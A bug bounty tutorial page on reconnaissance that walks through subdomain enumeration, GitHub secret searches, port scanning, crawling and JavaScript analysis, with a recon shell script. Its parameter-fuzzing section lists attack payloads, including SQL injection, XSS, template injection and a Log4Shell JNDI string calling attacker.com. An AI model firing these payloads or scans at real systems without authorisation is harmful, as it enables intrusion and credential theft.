How to Find Bug Bounties
Master Reconnaissance: The Foundation of Successful Bug Bounty Hunting
The Art of Bug Bounty Reconnaissance
Bug bounty hunting is often compared to treasure hunting, and reconnaissance is the map that leads you to the treasure. While many hunters jump straight into testing targets, successful researchers understand that comprehensive reconnaissance separates the beginners from the professionals. Your attack surface is directly proportional to your success rate: more assets discovered means more vulnerabilities to find.
The harsh reality of bug bounty hunting is that most hunters target the same obvious endpoints, competing for the same low-hanging fruits. Meanwhile, forgotten subdomains, staging environments, abandoned applications, and hidden APIs contain vulnerabilities that nobody is looking for. This guide teaches you systematic reconnaissance techniques that professional hunters use to maximize their success.
Why 70% of Your Time Should Be Spent on Recon
Discover assets that 90% of other hunters never find
Build comprehensive understanding of target architecture
Identify forgotten applications with weaker security
Find edge cases that automated scanners miss
Reduce time wasted on out-of-scope assets
Build methodology that scales across all targets
Phase 1: Passive Reconnaissance
Passive reconnaissance involves gathering information without directly interacting with the target. This phase is completely undetectable and provides foundational data for active testing. Start here before touching any target systems.
Subdomain Enumeration Techniques
# Certificate Transparency Log Enumeration # One of the most effective passive techniques curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sort -u # Alternative: crt.sh with Wildcard curl -s "https://crt.sh/?q=target.com&output=json" | jq -r '.[].name_value' \ | sed 's/*\.//g' | sort -u | grep -v "^target.com$" # DNS Aggregator Services # Use Rapid7 DNS Database (passive) wget -qO- "https://dnsdumpster.com/static/xml/<target>.xml" 2>/dev/null # Findomain (Fast subdomain discovery) findomain -t target.com -o # Assetfinder (Combines multiple sources) assetfinder target.com | grep target.com # Amass Passive Mode amass enum -passive -d target.com -o passive_subdomains.txt
- - Certificate Transparency Logs
- - DNS Zone Transfers
- - Search Engine Results
- - Public DNS Databases
- - Shodan and Censys
- - Subfinder (fast, comprehensive)
- - Amass (deep enumeration)
- - Assetfinder (quick results)
- - Findomain (lightweight)
- - Knockpy (Python-based)
GitHub Reconnaissance
GitHub often contains goldmines of information: exposed API keys, internal endpoints, hardcoded credentials, and forgotten code. Systematic GitHub recon can reveal attack surfaces that no other technique can discover.
# Search for organization repositories site:github.com "target.com" language:python # GitHub Search Queries # Find exposed API keys filename:.env API_KEY filename:config.json password # Internal endpoint references "api.internal" OR "api.staging" # JavaScript files revealing endpoints filename:*.js "api." # GitDumper for cloning org repositories gitdumper.sh https://github.com/target/ ./target-repos/ # Search for credentials in commit history git log --all --grep="password" --oneline git log --all --grep="api" --oneline # GitLeaks for automated secret scanning git clone https://github.com/target/repo gitleaks detect --source ./repo
Phase 2: Active Reconnaissance
Active reconnaissance involves direct interaction with target systems. This phase requires careful methodology to avoid overwhelming targets with requests or triggering security alerts. Balance thoroughness with discretion.
DNS Bruteforcing
# MassDNS for fast DNS bruteforcing massdns -r resolvers.txt -t A -o S -w results.txt domains.txt # Custom wordlists for Indian targets # Include: dev, staging, test, beta, api, mobile, old, backup #dns-wordlist.txt www api dev staging test beta admin portal app mobile vpn git jenkins ci stage old backup # amass active enumeration amass enum -active -d target.com -o active_subdomains.txt
Port Scanning
# Naabu for fast port scanning naabu -host target.com -rate 1000 -top-ports 100 # Nmap comprehensive scan nmap -sV -sC -p- -T4 -oA nmap_results target.com # Masscan for internet-wide scans masscan -p1-65535 192.168.1.0/24 --rate=1000 # Service detection for all subdomains for domain in $(cat subdomains.txt); do naabu -host $domain -rate 1000 -top-ports 100 done | tee port_scan_results.txt
Web Crawling and Directory Discovery
Web crawling discovers endpoints, parameters, and application structure. Combine multiple crawlers for comprehensive coverage as each tool has different strengths.
# Gospider - Fast web crawler gospider -s https://target.com -d 5 -t 10 -o gospider_results # Hakrawler for endpoint discovery cat targets.txt | hakrawler -depth 5 -plain # FFUF for directory busting ffuf -w wordlist.txt -u https://target.com/FUZZ -mc 200,204,301,302,307,401,403 # Advanced: Parameter discovery with Arjun arjun -i params.txt -u https://target.com/endpoint -t 10 # Waybackurls for historical endpoints echo "target.com" | waybackurls | sort -u # Gau (Get All URLs) - Faster alternative gau target.com | grep "=" | uro | grep -E "\.(js|php|aspx|jsp)"
Phase 3: JavaScript Analysis
Modern web applications heavily rely on JavaScript, and JS files contain a wealth of information: API endpoints, hidden parameters, internal paths, and sometimes hardcoded credentials. JavaScript analysis often reveals attack surfaces that standard crawling misses entirely.
Extracting Endpoints from JavaScript
# LinkFinder - Extract endpoints from JS files python3 linkfinder.py -i https://target.com/main.js -o cli # SecretFinder - Find API keys and secrets python3 secretFinder.py -i https://target.com/main.js # JSFScan - Comprehensive JS analysis python3 jsfscan.py --url https://target.com # Automated JS extraction with Katana katana -list targets.txt -jc -d 5 -o js_endpoints.txt # Retire.js for vulnerable JS libraries retire --path ./js_files/ # Manual: grep for patterns grep -r "api" *.js | grep -oE "https?://[^\"']+" | sort -u grep -r "endpoint" *.js | grep -oE "['\"][^'\"]*['\"]" | sort -u
Finding Hidden Parameters
Parameter-based vulnerabilities often hide in endpoints that appear safe on the surface. Hidden parameters can reveal IDOR vulnerabilities, XXE endpoints, SSRF triggers, and authentication bypass opportunities. Systematic parameter discovery is a crucial skill for serious bug hunters.
Parameter Discovery Tools
# Arjun - HTTP parameter discovery arjun -u https://target.com/endpoint -t 10 # Parameth - Parameter enumeration python3 parameth.py -u https://target.com # Burp Suite Intruder for parameter testing # Use pitchfork mode with multiple parameter wordlists # Common parameter names to test id, user, account, page, search, admin, file, debug, test, query, token, key, api, v, ver, version, format, output, callback, data, input, q, s, dest, redirect
Parameter Fuzzing Techniques
# FFUF for parameter fuzzing
ffuf -w params.txt -u "https://target.com/page?FUZZ=test" \
-fc 400 -mr "error" -od param_results
# Nuclei templates for parameter testing
nuclei -t parametertesting-templates/ -l urls.txt
# Common test payloads for parameters
' OR '1'='1
"><script>alert(1)</script>
{{7*7}}
${jndi:ldap://attacker.com/a}
%00nullbyte
CRLF injection headers
Unicode normalization bugsVisual Reconnaissance and Screenshots
Visual reconnaissance helps identify interesting pages and applications that warrant deeper testing. Screenshots of all discovered assets enable rapid visual triage, focusing your manual testing on the most promising targets.
Screenshot Automation Workflow
# Aquatone - Screenshot all discovered subdomains cat subdomains.txt | aquatone -ports 80,443,8080 -threads 10 # Eyewitness - Alternative screenshot tool eyewitness -f subdomains.txt -d screenshots/ # httpx - Fast HTTP probing with screenshot support cat subdomains.txt | httpx -ports 80,443,8080,8443 \ -screenshot -thread-ratio 10 # Naabu + httpx pipeline cat subdomains.txt | naabu -ports 80,443,8080 | \ httpx -screenshot -title -tech-detect # Organize screenshots by technology # Focus manual testing on interesting stacks
Login portals, admin panels, debug interfaces, outdated software versions
Apache Tomcat, Jenkins, phpMyAdmin, Swagger UI, old frameworks
Staging environments, test applications, legacy systems, internal tools
Building Your Reconnaissance Methodology
Successful bug bounty hunters develop systematic methodologies that they apply consistently across all targets. A repeatable process ensures no asset is overlooked and maximizes efficiency over time.
Complete Recon Pipeline Script
#!/bin/bash # Bug Bounty Reconnaissance Pipeline TARGET=$1 echo "[*] Starting reconnaissance on $TARGET" # Phase 1: Subdomain Enumeration echo "[*] Phase 1: Subdomain enumeration..." findomain -t $TARGET -o findomain_$TARGET.txt amass enum -passive -d $TARGET -o amass_$TARGET.txt subfinder -d $TARGET -o subfinder_$TARGET.txt # Combine and deduplicate cat findomain_$TARGET.txt amass_$TARGET.txt subfinder_$TARGET.txt | \ sort -u > all_subdomains_$TARGET.txt # Phase 2: DNS Resolution echo "[*] Phase 2: DNS resolution..." dns_probe -l all_subdomains_$TARGET.txt -o resolved_$TARGET.txt # Phase 3: Port Scanning echo "[*] Phase 3: Port scanning..." naabu -host $TARGET -rate 1000 -top-ports 100 -o naabu_$TARGET.txt # Phase 4: Screenshot Gathering echo "[*] Phase 4: Screenshots..." cat all_subdomains_$TARGET.txt | httpx -screenshot -thread-ratio 10 # Phase 5: Web Crawling echo "[*] Phase 5: Web crawling..." gospider -s https://$TARGET -d 5 -t 10 -o crawler_$TARGET echo "[*] Reconnaissance complete. Results in ./$TARGET-recon/"
Recon Checklist for Every Target
Frequently Asked Questions
Why is reconnaissance important in bug bounty hunting?
Reconnaissance is the foundation of successful bug bounty hunting. Studies show that 70% of successful hunters spend more than half their time on reconnaissance. The more assets you discover, the larger your attack surface. Most hunters target obvious endpoints while goldmines hide in forgotten subdomains, staging environments, and forgotten applications.
What is the most effective subdomain enumeration technique?
The most effective approach combines multiple techniques: passive reconnaissance using certificate transparency logs, DNS aggregators, and public datasets; active enumeration using DNS bruteforcing with customized wordlists; and validation against multiple resolvers. Tools like Amass, Subfinder, and assetfinder work together to maximize coverage. Always combine at least three different methods for comprehensive results.
How do I find hidden attack surfaces that other hunters miss?
Hidden attack surfaces include forgotten development branches, test environments, old API versions, third-party integrations, and beta applications. Look for assets mentioned in JavaScript files, GitHub repositories, and subdomain takeovers. Tools like gospider, waybackurls, and LinkFinder help discover endpoints that standard crawling misses. Also check for hidden parameters using tools like Arjun or param-miner.
What tools should I use for bug bounty reconnaissance?
Essential recon tools include: Amass and Subfinder for subdomain enumeration; Nuclei for vulnerability scanning; FFUF and Gobuster for directory busting; Gospider and Hakrawler for web crawling; Waybackurls and Gau for historical data; LinkFinder for JavaScript analysis; and Naabu for port scanning. Build custom toolchains combining these based on your methodology.
How much time should I spend on reconnaissance vs testing?
Professional bug bounty hunters recommend spending 60-70% of your time on reconnaissance and 30-40% on actual testing. This ratio may shift as you gain experience, but beginners should focus heavily on building comprehensive asset lists before testing. Quality reconnaissance directly correlates with hunting success. Many top researchers spend weeks on recon before testing a new target.
How do I organize and track my bug bounty reconnaissance data?
Organize reconnaissance data using structured directories: separate folders for each target containing subdomains, screenshots, screenshots, live URLs, and vulnerability candidates. Use tools like Aquatone for visual recon, and maintain notes in Obsidian or Notion. Track all programs, scope details, and findings systematically. Automation scripts that pipe recon output into organized databases significantly improve efficiency over time.
Master Bug Bounty Reconnaissance
Learn professional reconnaissance techniques and build systematic bug hunting methodology in our ethical hacking course.
